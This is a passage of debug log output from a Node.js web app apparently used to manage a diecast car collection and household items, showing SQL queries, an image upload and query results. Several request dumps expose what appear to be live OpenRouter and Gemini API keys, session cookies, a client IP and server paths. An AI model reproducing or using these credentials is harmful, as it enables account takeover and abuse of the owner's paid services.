      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:54:02.121Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:54:02.402Z server-connect:router Serving templateView /
2026-02-04T10:54:02.402Z server-connect:app Executing action step identify
2026-02-04T10:54:02.402Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:02.402Z server-connect:output identity: 1
2026-02-04T10:54:02.402Z server-connect:app Executing action step restrict
2026-02-04T10:54:02.402Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:54:02.403Z server-connect:output restrict: undefined
2026-02-04T10:54:02.403Z server-connect:app Executing action step restrict
2026-02-04T10:54:02.403Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:54:02.404Z server-connect:output restrict: undefined
2026-02-04T10:54:02.404Z server-connect:router Render template layouts/main
2026-02-04T10:54:02.404Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=172&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=172&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:54:05.480Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:54:05.481Z server-connect:app Executing action step identify
2026-02-04T10:54:05.481Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:05.481Z server-connect:output identity: 1
2026-02-04T10:54:05.481Z server-connect:app Executing action step restrict
2026-02-04T10:54:05.481Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:54:05.481Z server-connect:output restrict: undefined
2026-02-04T10:54:05.481Z server-connect:app Executing action step condition
2026-02-04T10:54:05.481Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:54:05.481Z server-connect:app Executing action step update
2026-02-04T10:54:05.481Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:54:05.482Z server-connect:output update: { affected: 1 }
2026-02-04T10:54:05.482Z server-connect:app Executing action step upload
2026-02-04T10:54:05.482Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:54:05.482Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:54:05.482Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:54:05.482Z server-connect:upload Processing file: {
  name: 's-l1600 (3).webp',
  data: <Buffer >,
  size: 115222,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-57-20378841770202445479',
  truncated: false,
  mimetype: 'image/webp',
  md5: 'b992c41ad740f654674f70bd360f385d',
  mv: [Function: mv]
}
2026-02-04T10:54:05.483Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_3_f33107bc-a3c0-4a99-99f9-c18c3e9e7e18.webp',
  rel: 'public/assets/images/diecast/s-l1600_3_f33107bc-a3c0-4a99-99f9-c18c3e9e7e18.webp'
}
2026-02-04T10:54:05.483Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_3_f33107bc-a3c0-4a99-99f9-c18c3e9e7e18.webp',
  rel: 'assets/images/diecast/s-l1600_3_f33107bc-a3c0-4a99-99f9-c18c3e9e7e18.webp'
}
2026-02-04T10:54:05.483Z server-connect:output upload_image: [
  {
    name: 's-l1600_3_f33107bc-a3c0-4a99-99f9-c18c3e9e7e18.webp',
    path: '/public/assets/images/diecast/s-l1600_3_f33107bc-a3c0-4a99-99f9-c18c3e9e7e18.webp',
    url: '/assets/images/diecast/s-l1600_3_f33107bc-a3c0-4a99-99f9-c18c3e9e7e18.webp',
    type: 'image/webp',
    size: 115222
  }
]
2026-02-04T10:54:05.483Z server-connect:app Executing action step repeat
2026-02-04T10:54:05.483Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:54:05.483Z server-connect:app Executing action step insert
2026-02-04T10:54:05.483Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:54:05.483Z server-connect:output images: { affected: 1, identity: 208 }
2026-02-04T10:54:05.483Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:54:05.483Z server-connect:output condition: undefined
2026-02-04T10:54:05.699Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:54:05.699Z server-connect:app Executing action step identify
2026-02-04T10:54:05.699Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:05.699Z server-connect:output identity: 1
2026-02-04T10:54:05.699Z server-connect:app Executing action step restrict
2026-02-04T10:54:05.699Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:54:05.700Z server-connect:output restrict: undefined
2026-02-04T10:54:05.700Z server-connect:app Executing action step paged
2026-02-04T10:54:05.700Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:54:05.701Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:54:07.231Z server-connect:router Serving templateView /diecast
2026-02-04T10:54:07.231Z server-connect:app Executing action step identify
2026-02-04T10:54:07.231Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:07.231Z server-connect:output identity: 1
2026-02-04T10:54:07.231Z server-connect:app Executing action step restrict
2026-02-04T10:54:07.231Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:54:07.232Z server-connect:output restrict: undefined
2026-02-04T10:54:07.232Z server-connect:router Render template layouts/main
2026-02-04T10:54:07.232Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '172',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=172&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T10:54:08.072Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T10:54:08.073Z server-connect:app Executing action step identify
2026-02-04T10:54:08.073Z server-connect:app options: { provider: 'security' }
2026-02-04T10:54:08.073Z server-connect:output identity: 1
2026-02-04T10:54:08.073Z server-connect:app Executing action step restrict
2026-02-04T10:54:08.073Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:54:08.073Z server-connect:output restrict: undefined
2026-02-04T10:54:08.073Z server-connect:app Executing action step select
2026-02-04T10:54:08.073Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T10:54:08.076Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
